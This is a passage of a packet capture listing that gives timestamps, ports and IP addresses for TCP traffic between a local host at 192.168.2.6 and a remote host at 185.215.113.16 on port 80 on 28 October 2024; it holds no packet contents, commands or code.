Oct 28, 2024 15:28:22.674712896 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674726963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674741030 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674751997 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674752951 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674770117 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674782038 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674793005 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674798965 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674803019 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674808979 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674814939 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674827099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674837112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674839973 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674848080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674863100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674870014 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674873114 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674886942 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674891949 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674905062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674907923 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674916029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674926043 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674937010 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674941063 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674947977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674959898 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674972057 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674983025 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674993992 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675003052 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675007105 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675018072 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675024033 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675029039 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675040960 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675050020 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675056934 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675065041 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675067902 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675079107 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675087929 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675091982 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675103903 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675112009 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675113916 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675123930 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675127029 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675129890 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675136089 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675147057 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675158024 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675163031 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675168037 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675179005 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675190926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675200939 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675201893 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675211906 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675224066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675229073 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675235033 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675245047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675256014 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675265074 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675266981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675276995 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675287962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675297976 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675333023 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675333977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.675333023 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675333023 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.675394058 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.895704031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.895831108 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.078953028 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.086693048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.086707115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.086719036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.086766005 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.086905956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.086918116 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.086929083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.086941004 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.086941957 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.086952925 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.086970091 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.086985111 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.086994886 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087006092 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087008953 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087030888 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087037086 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087049961 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087060928 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087063074 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087071896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087084055 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087088108 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087094069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087105036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087114096 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087115049 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087126970 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087130070 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087136984 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087150097 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087161064 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087166071 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087172031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087182045 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087191105 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087192059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087203979 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087208033 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087214947 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087225914 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087227106 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087255955 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087392092 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087426901 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087487936 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087542057 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087553978 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087564945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087575912 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087587118 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087613106 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087763071 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087774038 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087791920 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087796926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087816954 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087826014 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087831974 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087837934 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087841034 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087846994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087851048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087857008 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087862968 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087866068 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087872028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087877989 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087879896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087888002 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087894917 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087897062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087898970 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087903023 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087905884 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087909937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087915897 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087918043 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087928057 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087939024 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087948084 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087949991 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087964058 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087975025 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087975025 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087985992 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.087986946 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.087996960 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088001013 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088007927 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088020086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088027954 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088030100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088041067 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088052988 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088052988 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088067055 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088295937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088330984 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088453054 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088464975 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088476896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088486910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088499069 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088506937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088514090 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088517904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088529110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088538885 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088550091 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088562012 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088568926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088579893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088589907 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088603973 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088604927 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088617086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088619947 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088628054 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088639021 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088644028 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088651896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088663101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088663101 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088674068 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088684082 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088694096 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088701963 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.088705063 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.088717937 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089112043 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089135885 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089211941 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089229107 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089243889 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089256048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089262962 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089267015 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089278936 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089284897 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089299917 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089371920 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089382887 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089394093 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089406013 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089411020 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089416981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089427948 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089435101 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089437962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089448929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089452028 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089459896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089467049 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089471102 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089488029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089490891 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089500904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089512110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089515924 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089523077 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089533091 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089550972 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089553118 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089565039 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089572906 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089576006 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089586020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089596987 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089598894 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089615107 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089626074 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.089627028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.089646101 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.090097904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090111017 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090128899 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090132952 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.090157032 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.090305090 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090322018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090334892 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090353012 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090353966 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.090370893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090382099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090392113 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.090393066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090408087 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090414047 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.090416908 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090425014 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090430975 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090435028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090440989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090442896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090445995 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.090449095 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090456963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090459108 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.090460062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090470076 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090473890 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.090482950 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090492964 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.090495110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.090506077 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.090521097 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091228962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091239929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091250896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091260910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091272116 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091274023 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091281891 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091293097 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091304064 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091305017 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091322899 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091324091 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091334105 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091341019 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091345072 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091362953 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091368914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091386080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091398001 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091408014 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091409922 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091420889 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091424942 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091433048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091439009 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091449022 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091459990 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091468096 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091470957 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091481924 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091491938 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091492891 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091502905 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091512918 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091522932 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091533899 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091541052 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091543913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091555119 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091562986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091584921 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091763020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091913939 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091917992 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091926098 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091937065 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091948032 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091959000 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091964006 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091969967 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091980934 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.091986895 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.091991901 CET	80	49764	185.215.113.16	192.168.2.6
